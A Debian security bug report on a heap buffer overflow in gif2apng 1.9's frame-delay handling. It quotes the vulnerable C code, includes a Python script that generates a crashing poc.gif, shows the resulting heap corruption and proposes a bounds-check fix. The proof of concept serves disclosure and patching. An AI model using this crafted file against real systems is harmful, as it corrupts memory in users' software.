Bug#1002687: gif2apng: Heap based buffer overflow in processing of delays in the main function

[Kolja Grassmann <koljagrassmann@mailbox.org>]

Package: gif2apng
Version: 1.9+srconly-3
Severity: important
Tags: security

Dear Maintainer,

There is a heap based buffer overflow in the main function of the gif2apng application. The responsible code looks as follows:

    delays = (unsigned short *)malloc(frames*2);
    if (delays == NULL)
      return 1;
[...]
          if (val == 0xF9)
          {
            if (fread(&size, 1, 1, f1) != 1) return 1;
            if (fread(&flags, 1, 1, f1) != 1) return 1;
            if (fread(&delay, 2, 1, f1) != 1) return 1;
            if (fread(&t, 1, 1, f1) != 1) return 1;
            if (fread(&end, 1, 1, f1) != 1) return 1;
            has_t = flags & 1;
            dispose_op = (flags >> 2) & 7;
            if (dispose_op > 3) dispose_op = 3;
            if (dispose_op == 3 && n == 0) dispose_op = 2;
            if (delay > 1) delays[n] = delay;
          }

The variable n is used to count the frames. The problem is that if we enter the if statement at the very end of the gif file, then n is equal to frames. This means, that the write to the delays buffer overwrites the two bytes after the delays buffer.

The following script generates a poc.gif file, that should cause a crash:

#!/bin/python3

# Writing to poc.gif
f = open("poc.gif", "wb")

sig = b"GIF87a"
w = b"\x10\x00"
h = b"\x10\x00"
flags_one = b"\x00"
bcolor = b"\x01"
aspect = b"\x01"

data = sig + w + h + flags_one + bcolor + aspect
f.write(data)

# Writting more frames to produce crash:
for i in range(0,28):
    # Going into the id 0x2c path, so that there is a frame
    id = b"\x2c"
    w0 = b"\x01\x00"
    y0 = b"\x00\x00"
    x0 = b"\x00\x00"
    h0 = b"\x01\x00" # Getting past our own size checks
    flags_two = b"\x00"

    data = id + x0 + y0 + w0 + h0 + flags_two
    f.write(data)

    # DecodeLZW
    mincode = b"\x07"
    f.write(mincode)
    for i in range(0,512):
        # Size value and byte we write to the heap
        target_char = b"\x01" + b"A"
        f.write(target_char)
        # Resetting the values using "clearcode" to keep the code path as simple as possible
        clear_code = b"\x01" + b"\x80"
        f.write(clear_code)
    # Leaving function
    target_char = b"\x00"
    f.write(target_char)

# Triggering the vulnerable code path
id = b"\x21"
val = b"\xf9"
size = b"\xff"
flags_two = b"\x00"
delay = b"\xff\xff"
t = b"\x00"
end = b"\x00"

data = id + val + size + flags_two + delay + t + end
f.write(data)

# Breaking out of while loop
f.write(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

f.close()

The generated poc.gif file causes a memory curruption on the heap when converted with the current gif2apng version:
$ gif2apng -i0 poc.gif /dev/null

gif2apng 1.9 using ZLIB

Reading 'poc.gif'...
28 frames.
Writing 'poc.png'...
28 frames.
munmap_chunk(): invalid pointer
Abgebrochen


This buffer overflow allows an attacker to write two arbitrary bytes after the delays buffer.

I did a rudimentary fix in my local version of the program by adding a boundary check to the if statement in the code:
          if (val == 0xF9)
          {
            if (fread(&size, 1, 1, f1) != 1) return 1;
            if (fread(&flags, 1, 1, f1) != 1) return 1;
            if (fread(&delay, 2, 1, f1) != 1) return 1;
            if (fread(&t, 1, 1, f1) != 1) return 1;
            if (fread(&end, 1, 1, f1) != 1) return 1;
            has_t = flags & 1;
            dispose_op = (flags >> 2) & 7;
            if (dispose_op > 3) dispose_op = 3;
            if (dispose_op == 3 && n == 0) dispose_op = 2;
            if (delay > 1 && n < frames) {
              delays[n] = delay;
            }
          }

This fixed the crash for me locally. However I am not sure if this is a clean solution as I have no idea if this can happen in a valid image. If this code path is not possible in a valid image it might be better to stop processing the image at this point.

Best regards
Kolja



-- System Information:
Debian Release: 10.11
  APT prefers oldstable-updates
  APT policy: (500, 'oldstable-updates'), (500, 'oldstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gif2apng depends on:
ii  libc6       2.28-10
ii  libzopfli1  1.0.2-1
ii  zlib1g      1:1.2.11.dfsg-1

gif2apng recommends no packages.

Versions of packages gif2apng suggests:
pn  apng2gif  <none>

-- no debconf information